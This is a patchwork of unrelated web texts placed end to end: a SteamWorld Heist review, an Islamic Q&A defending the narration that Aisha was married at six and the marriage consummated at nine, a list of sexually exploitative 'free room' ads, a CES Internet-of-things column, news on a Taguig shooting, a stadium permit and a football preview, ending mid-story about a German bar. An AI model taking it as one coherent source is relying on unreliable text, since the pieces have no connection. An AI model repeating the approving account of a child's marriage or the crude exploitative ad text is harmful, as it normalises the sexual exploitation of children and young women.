Ya’ll don’t know how good you have it, and to be frank, you have it pretty darn good. Why? Because SteamWorld Heist – arriving on December 28th – is an exquisite side-scrolling tactical shooter that adds to the XCOM Formula by subtracting the third dimension and hit percentages while throwing in a heavy focus on geometry and player skill.
Taking place entirely on a 2D plane, SteamWorld Heist’s gameplay finds the player aiming at enemies with pistols, shotguns, explosives, machine guns, and more in vertically complex, cover-littered rooms filled with barrels to hide behind, explosives to…explode, and goodies to collect.
Each of the game’s recruitable characters come with unique stats and classes, and the key is mixing and matching them to your satisfaction – a good balance of accuracy, power, and flat-out mayhem is the key to success in a given scenario.
For example an enemy may be hiding behind a box, a tile or two in front of an explosive barrel. You can take aim with a laser-sighted pistol, aim at the ceiling, ricochet the bullet into the enemy, and land an immensely satisfying slow-motion one-hit-kill head shot. You could also aim with a grenade or rocket launcher for the explosive barrel, and cause a cascading medley of fire and brimstone.
Of course any number of the equipment options could come into play, too. Maybe you simply toss a grenade, or use your melee-boosting brass knucks and punch the enemy into oblivion.
Taking aim and using the geometry of the level is as important as weapon selection and intensely gratifying. You’ll be ricocheting shots off walls, blasting up through trap doors, feeling like a BAMF while doing it. Kills result in a terrifically satisfying slow-motion explosion of robot parts – made all the more rewarding when that kill comes as the result of a banked shot or via the use of a character ability. Some of my favorite gaming moments this year have come from impossible shots I pulled off in this game.
Safe to say, SteamWorld Heist is a game you play, but also a game you play *with*, lending levels massive replay appeal as you strive to achieve a full-star rating on each; which means no one can die, and you grab all the ‘epic loot’ you can.
By most estimates, the game should run between 12-13 hours if you breeze through everything, and a lot longer if, like me, you’re striving for perfection and not particularly…good at the game. Which is a minor caveat. This game is tough. And playing through 2/3rds of the campaign on the second highest difficulty, I find myself tasked with lowering the difficulty to make it all the way through, or simply playing *better* than I had before.
It is a strategy game at heart, and a player needs to thoughtful regarding how to approach groups of enemies as the game goes on, from small choices like who you want charging into the fray of battle first, to big choices like equipment load out, and hat selection. I have a tendency to blast my way into room with grenades and rockets. Recently I’ve found this strategy confounded by enemies with shields that need to be disabled first. So I need to adjust.
As it stands, despite the questions regarding if I’ll be able to beat the game, I’m over the moon with SteamWorld Heist on the Nintendo Switch. It’s bright, colorful, unique, and just
feels good. Even though the game’s a couple years old, it feels fresh. There are some annoyances – inventory management is cumbersome in a PS1-era RPG sort of way. The difficulty curve seems to spike toward the end of the game’s second act (as it probably should), and the story and writing, while good, primarily serves to as a clothesline on which to hang missions – which is sort of a double-edged sword because you know there’s a guy at the developer who has this entire incredible world mapped out in detail. At the same time – with gameplay as good as this and gameplay as good as it is in SteamWorld Dig 2, less is probably more.
Additional special mention goes to the music which is by these guys and, well…awesome:
As 2017 winds down,rumor has it indie games that find their way onto the Nintendo Switch find new life – garnering new attention and better sales on Nintendo’s hybrid console then they did on other platforms combined. A combination of goodwill toward the Nintendo Switch and a player base that’s always eager to try weird and unique things, makes certain games especially appealing on the platform.
SteamWorld Heist seems like a good candidate for that. The sort-of-sequel to this game, SteamWorld Dig 2, has been met with acclaim by gamers and critics. Bringing SteamWorld Heist to the platform – DLC included, is a no brainer. What I was not expecting was just how much of my brain I needed to use, and how exciting it was actually using it.
Firstly:
The definition of the age of ‘Aa’ishah (may Allah be pleased with her) when the Prophet (blessings and peace of Allah be upon him) did the marriage contract with her as being six years, and of the age when he consummated the marriage with her as being nine years, is not a matter of ijtihaad (individual opinion) on the part of the scholars, such that we could argue whether it is right or wrong; rather this is a historical narration which is proven by evidence that confirms its soundness and the necessity of accepting it. That is for several reasons:
It was narrated by the individual concerned herself, namely ‘Aa’ishah (may Allah be pleased with her), and is not something that someone else said about her, or the description of a historian or hadeeth scholar. Rather it comes in the context of her speaking about herself (may Allah be pleased with her), when she said:
The Prophet (blessings and peace of Allah be upon him) married me when I was six years old. We came to Madinah and stayed among Banu’l-Haarith ibn Khazraj. I fell sick and lost my hair, (then I reovered) and my hair grew down to my earlobes. My mother Umm Roomaan came to me when I was on a swing and some of my friends were with me. She called me loudly and I went to her, and I did not know what she wanted of me. She took me by the hand and made me stand at the door of the house, as I was gasping for breath, until I had calmed down. Then she took some water and wiped my face and head with it, then she took me into the house. There were some women of the Ansaar in the house, who said: With good wishes and blessings and good luck. She handed me over to them and they adorned me, and suddenly I saw the Messenger of Allah (blessings and peace of Allah be upon him) at mid-morning, and they handed me over to him. At that time I was nine years old.
Narrated by al-Bukhaari, 3894; Muslim, 1422.
This report from ‘Aa’ishah (may Allah be pleased with her) is in the soundest of books after the Book of Allah, may He be exalted, namely the two Saheehs of al-Bukhaari and Muslim.
It was narrated from ‘Aa’ishah (may Allah be pleased with her) via a number of isnaads (chains of narration), not by one isnaad only, as some ignorant people claim.
·The most well-known chain of narration is that of Hishaam ibn ‘Urwah ibn az-Zubayr, from his father ‘Urwah ibn az-Zubayr, from ‘Aa’ishah (may Allah be pleased with her). This is one of the soundest narrations, as ‘Urwah ibn az-Zubayr is one of the most well acquainted of people with ‘Aa’ishah, because she was his maternal aunt.
·It was also narrated via another chain, by az-Zuhri from ‘Urwah ibn az-Zubayr, from ‘Aa’ishah. Narrated by Muslim, 1422.
·It was also narrated via another chain by al-A‘mash, from Ibraaheem, from al-Aswad, from ‘Aa’ishah, who said: “The Messenger of Allah (blessings and peace of Allah be upon him) married ‘Aa’ishah when she was six years old and consummated the marriage with her when she was nine years old, and he died when she was eighteen years old. Narrated by Muslim, 1422.
·It was also narrated via another chain, from Muhammad ibn ‘Amr, from Yahya ibn ‘Abd ar-Rahmaan ibn Haatib, from ‘Aa’ishah (may Allah be pleased with her). Narrated by Abu Dawood, 4937.
Shaykh Abu Ishaaq al-Huwayni compiled the names of those who followed ‘Urwah ibn az-Zubayr, namely: al-Aswad ibn Yazeed, al-Qaasim ibn ‘Abd ar-Rahmaan, al-Qaasim ibn Muhammad ibn Abi Bakr, ‘Amrah bint ‘Abd ar-Rahmaan, and Yahya ibn ‘Abd ar-Rahmaan ibn Haatib.
He also compiled the names of those who followed Hishaam ibn ‘Urwah in narrating this hadeeth. They were: Ibn Shihaab az-Zuhri and Abu Hamzah Maymoon, the freed slave of ‘Urwah.
Then he named those who narrated it from Hishaam ibn ‘Urwah among the scholars of Madinah. The reader should understand that this hadeeth is one of those that were also narrated by Hishaam in Madinah. They were: Abu’z-Zinnaad ‘Abdullah ibn Dhakwaan and his son ‘Abd ar-Rahmaan ibn Abi’z-Zinnaad, and ‘Abdullah ibn Muhammad ibn Yahya ibn ‘Urwah.
Among the people of Makkah (it was narrated by) Sufyaan ibn ‘Uyaynah.
(It was also narrated by) Jareer ibn ‘Abd al-Hameed ad-Dubbi among the people of ar-Rayy.
Among the people of Basra (it was narrated by): Hammaad ibn Salamah, Hammaad ibn Zayd, Wuhayb ibn Khaalid, and others.
See the lecture given by Shaykh Abu Ishaaq al-Huwayni (may Allah preserve him) discussing the ignorance of the one who wrote the article mentioned in the question, and the response to it, on the following link (in Arabic):
http://www.islamway.com/?iw_s=Lesson&iw_a=view&lesson_id=86106
See also the following link (in Arabic):
http://www.islamway.com/?iw_s=Lesson&iw_a=view&lesson_id=86495
All of these lists are mentioned in order to ward off the specious argument of some ignorant people who say that Hishaam ibn ‘Urwah was the only one who narrated it. Even if we accept [?} that Hishaam became confused at the end of his life, the correct view is that this accusation was made only by Abu’l-Hasan ibn al-Qattaan in Bayaan al-Wahm wa’l-Eehaam, and he was mistaken in doing so.
Adh-Dhahabi (may Allah have mercy on him) said:
Hishaam ibn ‘Urwah was one of the prominent and authoritative scholars, but when he grew old his memory failed, although he did not get confused, and there is nothing valid in the view of Abu’l-Hasan ibn al-Qattaan, which suggests that he and Suhayl ibn Abi Saalih became confused and changed. Yes, the man changed a little and his memory was not as sound as it had been in his youth. He forgot some of the things he had memorized and he made some mistakes, but so what?! He was not infallible. When he came to Iraq at the end of his life he passed on a great deal of knowledge, among which were a few hadeeths that he did not remember well. Something similar happened to Maalik, Shu‘bah, Wakee‘ and other senior, trustworthy narrators. So forget about this nonsense and mixing trustworthy scholars with weak narrators and those who became confused. Hishaam was Shaykh al-Islam, and may Allah help us against what Ibn al-Qattaan suggested and what ‘Abd ar-Rahmaan ibn Kharaash said: Maalik did not approve of him because he got angry with him for going and narrating hadeeth in Iraq. End quote.
Mizaan al-I‘tidaal, 4/301-302
There are reports from people other than ‘Aa’ishah that speak of the Prophet’s marriage to her when she was nine years old. Among those who were her contemporaries and knew her better than others were the following:
Imam Ahmad narrated in al-Musnad, 6/112 from Muhammad ibn Bishr, who said: Muhammad ibn ‘Amr told us: Abu Salamah and Yahya told us: When Khadeejah died, Khawlah bint Hakeem, the wife of ‘Uthmaan ibn Maz‘oon, came and said: O Messenger of Allah, why don’t you get married? He said: To whom? She said: If you wish, a virgin, and if you wish, a previously married woman. He said: Who is the virgin? She said: The daughter of the dearest of Allah’s creation to you: ‘Aa’ishah bint Abi Bakr… And he mentioned the story in detail, including the fact that she was six years old when the marriage contract was done, and was nine years old when the marriage was consummated.
This is what ‘Aa’ishah narrated concerning herself, and it was conveyed by the narrators from her, and it is what is stated in all the historical sources that give the biography of ‘Aa’ishah (may Allah be pleased with her). There is no difference among them concerning that, and the matter was not subject to ijtihaad. When a person speaks about himself (or herself), no one has the right to suggest anything else.
The historical sources are also agreed that ‘Aa’ishah (may Allah be pleased with her) was born in Islam, four or five years after the Prophet’s mission began.
Imam al-Bayhaqi (may Allah have mercy on him) said – commenting on the hadeeth, “I only ever remember my parents as following Islam”–:
‘Aa’ishah (may Allah be pleased with her) was born in Islam, because her father became Muslim at the beginning of the Prophet’s mission. It is proven from al-Aswad, from ‘Aa’ishah (may Allah be pleased with her) that the Messenger of Allah (blessings and peace of Allah be upon him) married her when she was six years old, and consummated the marriage with her when she was nine years old, and he died when she was eighteen years old. But Asma’ bint Abi Bakr was born during the Jaahiliyyah, and became Muslim when her father became Muslim. … According to what Abu ‘Abdullah ibn Mandah said, narrating from Ibn Abi’z-Zinnaad, Asma’ bint Abi Bakr was ten years older than ‘Aa’ishah, and the mother of Asma’ became Muslim later on. Asma’ (may Allah be pleased with her) said: My mother came to me and she was (still) a mushrik. According to a hadeeth that she quoted, her name was Qateelah, from Banu Maalik ibn Hasal. She was not the mother of ‘Aa’ishah. Asma’ became Muslim when her father did, not her mother. With regard to ‘Abd ar-Rahmaan ibn Abi Bakr, it seems that he was an adult when his parents became Muslim, but he did not follow them in becoming Muslim, until he became Muslim a long time after that. He was the oldest of the children of Abu Bakr. End quote.
As-Sunan al-Kubra, 6/203
Adh-Dhahabi (may Allah have mercy on him) said:
‘Aa’ishah is one of those who were born in Islam; she was eight years younger than Faatimah. She used to say: “I only ever remember my parents as following Islam”. End quote.
Siyar A‘laam an-Nubala’, 2/139
Al-Haafiz Ibn Hajar (may Allah have mercy on him) said:
She – i.e., ‘Aa’ishah – was born four or five years after the Prophet’s mission began. End quote.
Al-Isaabah, 8/16
Based on that, her age at the time of the Hijrah was eight or nine years. This is in accordance with the hadeeth quoted above from ‘Aa’ishah herself.
The historical sources are also agreed that the Prophet (blessings and peace of Allah be upon him) died when ‘Aa’ishah was eighteen years old, so at the time of the Hijrah she must have been nine years old.
The books of biography and history state that ‘Aa’ishah (may Allah be pleased with her) died at the age of sixty-three years, in 57 AH. So before the Hijrah her age was 6 years. So if you round up or down – as is the custom of the Arabs in counting years – they round up or down the first and last years, so her age at the time of the Hijrah was eight years, and her age at the time when the Prophet (blessings and peace of Allah be upon him) married her, eight months after the Hijrah, was nine years.
The above is also in accordance with what the scholars have narrated concerning the difference in age between Asma’ bint Abi Bakr and ‘Aa’ishah (may Allah be pleased with her). Adh-Dhahabi (may Allah be pleased with him) said: She – i.e., Asma’ – was ten or more years older than ‘Aa’ishah (may Allah be pleased with her). End quote.
Siyar A‘laam an-Nubala’, 2/188
‘Aa’ishah was born four or five years after the Prophet’s mission began. Abu Na‘eem said in Mu‘jam as-Sahaabah that Asma’ was born ten years before the Prophet’s mission began. End quote.
So the difference in age between ‘Aa’ishah and Asma’ was fourteen or fifteen years. This is the view of adh-Dhahabi quoted above: She – i.e., Asma’ – was ten or more years older than ‘Aa’ishah (may Allah be pleased with her).
Although we quote these numbers that are mentioned in the books of biography and history, what we mostly rely on is what is narrated with saheeh isnaads, not what we find in books quoted without any isnaad. But all of the reports are in accordance with the hadeeths with undoubtedly saheeh isnaads that we quoted at the beginning of this answer. Hence we quoted reports from the history books that support what we quoted above.
Secondly:
As for the response to the author of the hostile article quoting as evidence what is narrated in some sources about the age difference between Asma’ and ‘Aa’ishah being ten years, we say:
That is not proven in terms of the isnaad or chain of narrators. If its isnaad is proven, then it may be understood in a manner that is in accordance with the definitive evidence mentioned above.
With regard to the isnaad or chain of narrators, it was narrated from ‘Abd ar-Rahmaan ibn Abi’z-Zinnaad that he said: Asma’ bint Abi Bakr was ten years older than ‘Aa’ishah.
This report was narrated via two isnaads from al-Asma ‘i from ‘Abd ar-Rahmaan ibn Abi’z-Zinnaad.
The first isnaad was narrated by Ibn ‘Asaakir in Tareekh Dimashq (69/10). He said: Abu’l-Hasan ‘Ali ibn Ahmad al-Maaliki told us: Ahmad ibn ‘Abd al-Waahid as-Sulami told us: My grandfather Abu Bakr told us: Abu Muhammad ibn Zabr told us: Ahmad ibn Sa‘d ibn Ibraaheem az-Zuhri told us: Muhammad ibn Abi Safwaan told us: al-Asma‘i told us, that Ibn Abi’z-Zinnaad said: … and he quoted the report.
The second isnaad was narrated by Ibn ‘Abd al-Barr in al-Isti‘aab fi Ma‘rifat al-Ashaab (2/616): Ahmad ibn Qaasim told us: Muhammad ibn Mu‘aawiyah told us; Ibraaheem ibn Moosa ibn Jameel told us: Ismaa ‘eel ibn Ishaaq al-Qaadi told us: Nasr ibn ‘Ali told us: al-Asma‘i told us: Ibn Abi’z-Zinnaad told us: Asma’ bint Abi Bakr, who was ten years or so older than ‘Aa’ishah, said:…
If the fair-minded researcher thinks about this report it will become clear to him that accepting its apparent meaning and rejecting all the proven evidence to the contrary is an offence against knowledge and scholarship, for the following reasons:
‘Abd ar-Rahmaan ibn Abi’z-Zinnaad (100-174 AH) is the only one who stated that the difference in age between Asma’ and ‘Aa’ishah (may Allah be pleased with them both) was ten years. The evidence mentioned above, on the other hand, is abundant and was narrated from more than one of the Taabi‘een. It is known that what is abundant takes precedence over that which is smaller.
Most of the scholars regarded ‘Abd ar-Rahmaan ibn Abi’z-Zinnaad himself as da‘eef (weak). In his biography of him in Tahdheeb at-Tahdheeb (6/172), Imam Ahmad is quoted as saying concerning him: He is mudtarab al-hadeeth (his hadeeth is faulty). Ibn Ma‘een is quoted as saying: He is not one of those whom the scholars of hadeeth quote as evidence. ‘Ali ibn al-Madeeni is quoted as saying: Whatever he narrated in Madinah is saheeh, but whatever he narrated in Baghdad was corrupted by the Baghdadis. I saw ‘Abd ar-Rahmaan – i.e., Ibn Mahdi – draw a line through the hadeeth of ‘Abd ar-Rahmaan ibn Abi’z-Zinnaad. Abu Haatim said: His hadeeth may be written down but it may not be quoted as evidence. An-Nasaa’i said: His hadeeth cannot be quoted as evidence.
With regard to at-Tirmidhi describing him as thiqah (trustworthy) in his Sunan, following hadeeth no. 1755, this contradicts the criticism of the previous commentator, and criticism (of a narrator) takes precedence over praise, especially with regard to the reports that were narrated only by ‘Abd ar-Rahmaan ibn Abi’z-Zinnaad , especially when he says something that is contrary to what is well-known in the books of the Sunnah and history.
According to the report of Ibn ‘Abd al-Barr, he said: “She (Asma’) was ten years or so older than ‘Aa’ishah.” This report is more sound than the report of Ibn ‘Asaakir, because Nasr ibn ‘Ali, who narrated it from al-Asma‘i in the isnaad of Ibn ‘Abd al-Barr is thiqah (trustworthy), as it says in Tahdheeb at-Tahdheeb, 10/431. With regard to Muhammad ibn Abi Safwaan, the narrator from al-Asma‘i in the isnaad of Ibn ‘Asaakir, no one described him as trustworthy.
The words in the report of Ibn ‘Abd al-Barr, “or so”, indicate that he was not certain about (the difference in age) being ten years. This makes his report weak and it is not permissible for the fair-minded researcher to reject the evidence quoted above for the sake of this uncertainty.
Moreover, it is possible to reconcile this report with the other reports by saying that Asma’ was born six years or five years before the Prophet’s mission began, and ‘Aa’ishah was born four or five years after his mission began. When Asma’ died in 73 AH, she was ninety-one or ninety-two years old, as was mentioned by adh-Dhahabi in Siyar A‘laam an-Nubala’, 3/380: Ibn Abi’z-Zinnaad said: She was ten years older than ‘Aa’ishah. I (adh-Dhahabi) say: Based on that, her age would have been ninety-one years. Hishaam ibn ‘Urwah, on the other hand, said: She lived for one hundred years and not one of her teeth fell out. End quote.
It may also be said that Asma’ was born approximately 14 years before the Prophet’s mission began – which is what is affirmed by the author himself in his previous article – and that in the year of the Hijrah she was twenty-seven years old, and her age at the time of her death in 73 AH was one hundred years, so as to be in harmony with what the historical sources are agreed upon with regard to Asma’ bint Abi Bakr, that she died in the same year in which her son ‘Abdullah ibn az-Zubayr was killed (73 AH), and that she died at the age of one hundred years. Hishaam ibn ‘Urwah said, narrating from his father: Asma’ reached the age of one hundred years and not one of her teeth fell out and she remained alert all her life.
There follow the names of the sources that mention that:
Hilyat al-Awliya’, 2/56
Mu‘jam as-Sahaabah by Abi Na‘eem al-Asbahaani
Al-Isti‘aab by Ibn ‘Abd al-Barr, 4/1783
Tareekh Dimashq by Ibn ‘Asaakir, 69/8
Asad al-Ghaabah by Ibn al-Atheer, 7/12
Al-Isaabah by Ibn Hajar, 7/487
Tahdheeb al-Kamaal, 35/125
With regard to the idea of her having been born ten years before the Prophet’s mission began, this was only stated by Abu Na‘eem al-Asbahaani, in a statement in which he said:
She – i.e., Asma’ – was the sister of ‘Aa’ishah through her father. She was older than ‘Aa’ishah; she was born twenty-seven years before the Hijrah, and ten years before the mission of the Prophet (blessings and peace of Allah be upon him) began. When she was born, her father (Abu Bakr) as-Siddeeq was twenty-one years old. Asma’ died in 73 AH in Makkah, a few days after her son ‘Abdullah ibn az-Zubayr was killed, at the age of one hundred years, having lost her sight. End quote.
It is as if Abu Na‘eem meant that the Makkan period (of the Prophet’s mission) lasted for seventeen years, which is the view of some of the scholars of seerah; it is a da‘eef (weak) view, but it should be pointed out when trying to understand the opinion of Abu Na‘eem.
For the wisdom behind the marriage of the Prophet (blessings and peace of Allah be upon him) to ‘Aa’ishah despite the difference in their ages, please see the answer to question no. 44990.
1. “FREE roomshare… I would expect a relationship in lieu of rent”
It’s an unhappy intersection of inequality and sexual desire: men, and it is mostly men, are inviting young women to live with them rent-free in exchange for ‘services’.
2. “free roomshare … Wanted, an open-minded single female of any age”
Why they don’t just rent their room out and pay for sex if that’s all they’re after?
3. “free roomshare to female … Yes, you will be sharing a room with me”
But nope, for some people it’s apparently important to have a live-in ‘lover’.
4. “Sofa or bed….must be sexy and openminded”
Maybe it’s about power?
5. “Free accom… willing to offer more intimate favours”
Maybe it’s about cheating the taxman?
6. “Free room… for woman willing to carry our household chores naked or in sexy lingerie”
Or maybe it’s the thrill of pushing someone who hadn’t considered it into sex work?
7. “Free room for adult parties”
We’d advise checking for hidden video cameras with a “deal” like this.
8. “It’s free if you let me watch”
As you can see, it’s not just people wanting to take advantage of women.
9. “The only thing I want in return is to massage your feet”
Yeah, he’s “not a pervert”. Sure.
10. “Free room… purely for fucking and housekeeping… I may elevate the right girl to wifey status subject to performing well”
Lucky woman!
11. “Free furnished flat… In return I just want a few minutes of sexy fun when I visit.”
“However, being a virgin this won’t take long!”
12. “Some sort of sexual favours are expected in return”
13.”Free accommodation… [for] a girl who just loves the idea of straddling my face”
The licker / liqueur pun is truly a mark of class.
14.”Rent will be reduced, perhaps down to £1pcm… if you are interested in exploring… submission… with landlord”
15. “Free roomshare… this isn’t a weird ad… just would like would like to see some nudity sometimes”
16. We’re saving the creepiest to last. Someone has written this from the point of view of two dogs looking for a mummy for their daddy. YUCK!
You might imagine we’ve been collecting these for months, but no, there are dozens of similar ads running at any given time.
And if you’re wondering if they ever get replies then the answer is “probably” as there’s also adverts from women offering sexual services for free accommodation.
After it was mentioned that Spike was not featured in the New Years drawing, I felt a little sorry our favorite lavender dragon. I immediately jumped into the process and produced this. Couldn't leave him out, so here's a piece exclusive to Spike. Since he wasn't included in the last piece, let's just say he was lounging somewhere on the outskirts of Ponyville. And let's just say the Winter Wrap-up occurred relatively early this year. You could see it that way, or you could see it as a random depiction of Spike taking a break and watching the clouds as they slowly drift by.
I'm sorry I couldn't make up my mind on when to set this. I wanted to treat Spike like he was enjoying himself in this particular drawing. I feel bad about things too much sometimes. But this was fun drawing nonetheless, and Spike is a cool character.
Reading Time: 4 minutes
I had a conversation with a colleague this week at CES and he offered me a bet. He bet me $20 that in three years time we will no longer be talking about the internet of things. After a few seconds of thinking about it, I declined to bet because I realized I agreed with him.
In the very near future we will not be talking about the Internet of everything at CES, or as an industry, because everything shown at the show will already be participating in the Internet of everything. Our excitement when we see that this or that connects to the Internet, or to our smartphone via an app, will shift to an expectation that this or that will absolutely connect to the internet or another smart device. In fact, in just a few years time if something is developed and shown at CES that does not connect to the Internet or another electronic device we will doom it an instant failure. This is the trajectory we are moving to which is inevitable. Every electronic device will connect to the Internet and/or another electronic device.
We are on a trajectory to ship 6 billion connected devices in 2016 alone. In 2015 alone connected devices will generate over 8 billion zetabytes of data. By 2020 there will be over 200 billion connected devices in use. Nearly every forecast I see grossly underestimates the size, speed, and scale of the trajectory of the Internet of things. Which is why I share in our industry presentations that our anticipation is that by 2025 there will be a trillion connected objects in use.
This years CES convinced me even more that this will happen faster than many realize.
The Embedded Internet of Everything
I want to highlight a number of things I saw at CES that showed me the full potential and inevitability of this future.
Sleep Number Sleep IQ
Sleep Number announced a new technology called Sleep IQ which will be a standard feature in all their Sleep Number beds by the end of 2014. These beds have over 500 rows of sensors integrated into the mattress. These sensors exist to track your sleep patterns. Because they are embedded into the mattress they can get significantly more data about your sleep patterns than any device you put on your person. It will track heart rate, breathing patterns, hours of deep sleep vs restless sleep, as well as the patterns of your partner should you have one. This data lets you analyze patterns of your self and your partner throughout the night. For example, say your partner goes to bed early and you go to bed late. Does your pattern change once they get in bed in any significant ways. This is the kind of in depth data you can get when sensors and connectivity are embedded into your everyday objects vs. something you just stick on your wrist.
Connected Sports
Two things I saw were extremely impressive. The first was from a company called 94fifty. This company has created a basketball with sensors built into the ball which measure backspin rotation, arc of the ball while in flight, as well as where on the rim or backboard you missed as well as if you made the shot. You can use this data to understand and get tips on what you can do to get better while training.
The other is a new tennis racket released from Babolat called the Babolat Play. This innovative new piece of sports tech has all the appropriate sensors and microchips built into the handle of the tennis racket. What this does is accurately and precisely track things like how many forehands vs backhands you hit in training or in a match. How many first serves vs. second serves. How many topspin, flat, and slice shots you hit on each forehand and backhand stroke. It tells you your power averages of each stroke variety. It even tells you the location of where on the racket strings you hit as a percentage of each and every stroke variety. Being an avid tennis player I find this is an incredible innovation. If I go to train and realize I wasn’t getting as much power on my groundstrokes, I can use the data gathered by the racket to note that perhaps I am missing the sweet spot either too high or too low on the racket strings and make any necessary adjustments. Compared to other sensors I have tried that mount onto the end of the racket, the data generated by being embedded into the racket itself is far superior and more in depth than when it is mounted.
The Connected Baby
Lastly, Rest Devices showed off the Mimo Baby which is a onesie for infants with a series of sensors built in that gives parents data about their baby. While the object on the onsie is a bit larger, it demonstrates the future where sensors and microchips will be embedded into the fabric of our everyday clothes. When this happens wearable computing will truly be a reality.
What these examples show us is the true inevitability that sensors and microchips will be integrated into every day objects we use and provide us with valuable data without having to stick a separate object on us all the time to get that data. What is important to me is the data. And when everything I own which is electronic, and even a great many of things which are not, have sensors and microchips in them I no longer need to worry about wearing a separate object to gather this data.
When you look at it this way it is easy to do the math. How many beds are sold every year? How many golf clubs? How many Tennis rackets? How many soccer balls? How many basket balls? How many pairs of shoes? How many sets of clothes? How many home appliances? You get the picture.
Now, as wonderful as this future may seem few seem to address a critical part of this story. How will this data be managed, accessed, shared, and more importantly secured. What I suggest in this big picture view of the IOE industry is that it brings up massive challenges that will catch many off guard over the next few years. Security and data management being a big one. But also network capacity, spectrum, and a host of other infrastructure issues which are not ready to support the embedded Internet of everything.
Maher wondered why Republicans should have all the fun hurling around outrageous, unfounded allegations of a vaguely xenophobic nature? Why shouldn’t people on the left have their own whacky conspiracy theory?
To that end, the host has created “wiferism,” the question of how many wives Romney actually has.
“I’m not saying I believe in that,” Maher quipped, “I just said he was born on a Mormon compound. I’m not a wifer, but for some reason he has never shown his original marriage certificate.”
He then riffs on various statements by cagey Republicans claiming not to be questioning the legitimacy of the president’s citizenship, but saying that it raises certain issues, “I’m not a wifer,” he said again, “but he does have the blood of a polygamous nomadic tribesman, and I think that has shaped his world view.”
He then asserts that he’s merely “asking the hard questions that the ‘Lamestream media’ won’t ask about Mitt’s unholy harem of obedient sister-wives.”
Dave Galangue, who was also on his motorbike, was on his way to a laundry shop near Upper Bicutan Elementary School around 12:35 p.m. on Martizano Street when he was killed, police said.
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The shooting was immediately reported to the nearby barangay hall by students who had just come from the school.
According to a barangay employee, footage from a closed circuit television camera installed by a resident in the area showed how the victim was tailed by the two assailants. When Galangue noticed he was being followed, he stopped and made a U-turn. The video showed them apparently having a brief exchange.
Galangue was about to run away when shot four times in the chest.
In an interview on Friday afternoon, Galangue’s mother Josefina Junsay, who was still waiting for her son’s body from the funeral parlor, could not believe how she lost Dave. “This morning, before I went to Laguna, I made him coffee. We also took selfies,” Junsay said.
“He was not the type who would talk about his problems, but he didn’t have enemies. And definitely he was not into drugs,” she said, noting that investigators didn’t find any drug in her son’s pocket or in his motorbike’s compartment.
Junsay said Galangue’s twin brother died seven years ago after being he hit by a stray bullet during a riot near their Taguig residence, while his sister died just last month due to natural causes.
The Taguig police are still verifying allegations made by the victim’s neighbors that the teenager was involved in drugs and robberies..
The victim’s girlfriend, also aged 17, said she was also not aware of anyone who would want to harm Galangue . “He had dreams of buying his own car and going to the US after finishing his studies, so both of us can live there. It was his dream,” she said.
Galangue dropped out of school in the eighth grade due to financial problems and started helping his mother, a balut vendor.
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“But what he really wanted was to be a policemen. He admired them. Astig daw (because they look tough),” she said.
Also in Taguig on Thursday, another resident was gunned down by assailants on a motorbike in Barangay South Signal.
Raymond Pagatpat, 25, was walking on Tanyag Street around 10 p.m. when shot and killed on the spot.
A report sent to the media by the Southern Police District quoted barangay officials as saying that Pagatpat was involved in robbery-holdup incidents and was a known drug pusher operating in nearby
barangays.
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“We’re closer than we’ve ever been,” team president Dave Kaval said.
The permit is expected to be finalized Friday but won’t become valid until Jan. 3, if the decision isn’t appealed. However, San Jose planning director Joseph Horwedel said a few residents concerned about noise are considering an appeal.
Quakes officials have agreed to meet quarterly with residents to try to solve any stadium-related issues once the project is done.
Kaval said the latest permit spells out what types of events can be held at the proposed 18,000-seat stadium adjacent to Mineta San Jose International Airport. Knowing the use parameters allows the team to figure out how to finance the privately funded project.
The Earthquakes plan to hire a firm to draw up blueprints and begin construction, perhaps early next year. The Major League Soccer team could open the 2013 season in a new facility. It currently plays at 10,500-seat Buck Shaw Stadium at Santa Clara University.
Madison – In Week 1, Wisconsin defenders showed they could prevent LSU tailback Leonard Fournette from dominating a game.
In Week 2, the task was to handle Akron’s spread offense and Justin Wilcox’s unit aced the test. The Zips’ offense was limited to a field goal in a 54-10 loss. Akron has averaged 50 points per game in its three other games.
In Week 3 against Georgia State, the UW secondary suffered second-half lapses before finishing strong on the final two series.
In Week 4 against Michigan State, UW’s defense smothered the Spartans’ ground game (75 yards on 27 attempts) and grounded quarterback Tyler O’Connor (47.4% completion rate, four sacks).
The test in Week 5 – at No. 5 Michigan (4-0, 1-0 Big Ten) at 2:30 p.m. Saturday – appears more daunting, at least on paper.
CHAT TRANSCRIPT: Jeff Potrykus' weekly Q&A
Michigan took advantage of a suspect Penn State defense to rush for 326 yards and six touchdowns, both season-high marks, in a 49-10 victory last Saturday. Five backs scored at least one touchdown; four generated runs of 25 yards or longer, and the Wolverines averaged 6.7 yards per carry.
“All of them contributed in big ways,” Michigan coach Jim Harbaugh said of his running backs. “I thought our line was blocking well. It was a job well done in the running game."
With junior Wilton Speight comfortable as the No. 1 quarterback (63.2% completion rate, nine TDs and one interception), the offense is humming.
Michigan has scored at least 40 points in all four games this season and enters the game No. 2 in the Big Ten and No. 4 nationally in scoring at 52.0 points per game.
“I can already tell on film they are very well coached,” UW senior outside linebacker Vince Biegel said Monday. “They’ve got some tight ends who are strong. I can already tell Jim Harbaugh has done a great job of really coaching up the quarterback position.
“They’ve got multiple running backs who can run the ball. They have talented and skilled wide receivers.”
Anything else?
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“And the offensive line is physical and tough,” Biegel concluded.
But have the Wolverines been sufficiently tested?
The bulk of Michigan’s rushing yards (632 of 919) and rushing touchdowns (10 of 15) came against Hawaii and Penn State. Hawaii is 124th nationally against the run (264.0 ypg.) and Penn State is 104th (213.8 ypg.).
UW enters the week No. 1 in the Big Ten and No. 7 nationally in scoring defense (11.8 points per game); No. 1 in the Big Ten and No. 10 nationally in rushing defense (80.5 yards per game) and No. 2 in the Big Ten and No. 12 nationally in total defense (277.0 ypg.). The Badgers have held eight of their last 11 foes below the 100-yard rushing mark and they are 8-0 in those games.
Overall, the defense has limited foes to seven scoring drives, including just three touchdowns, on 46 full possessions. UW has forced foes into 18 three-and-outs.
“I’ve been around some really good defenses,” UW coach Paul Chryst said after the Badgers held Michigan State to two field goals on 12 full possessions. “I thought again it was a good plan by our defensive coaches because our kids understood it, and they were able to execute it and they were opportunistic."
UW’s defensive game plan against Michigan State included loading the box and leaving the cornerbacks in single coverage.
They held up against the Spartans, in part because O’Connor was under constant pressure.
Can the secondary reprise its performance this week against Speight, who has attempted 113 passes without an interception since throwing an interception on his first attempt of the season?
The group of five migrants sat drinking in the Piano bistro in Waburn, Germany, on Wednesday evening, putting everything on a tab. When presented with a €17 bill for the eight beers and two vodkas they had consumed, the men became aggressive.
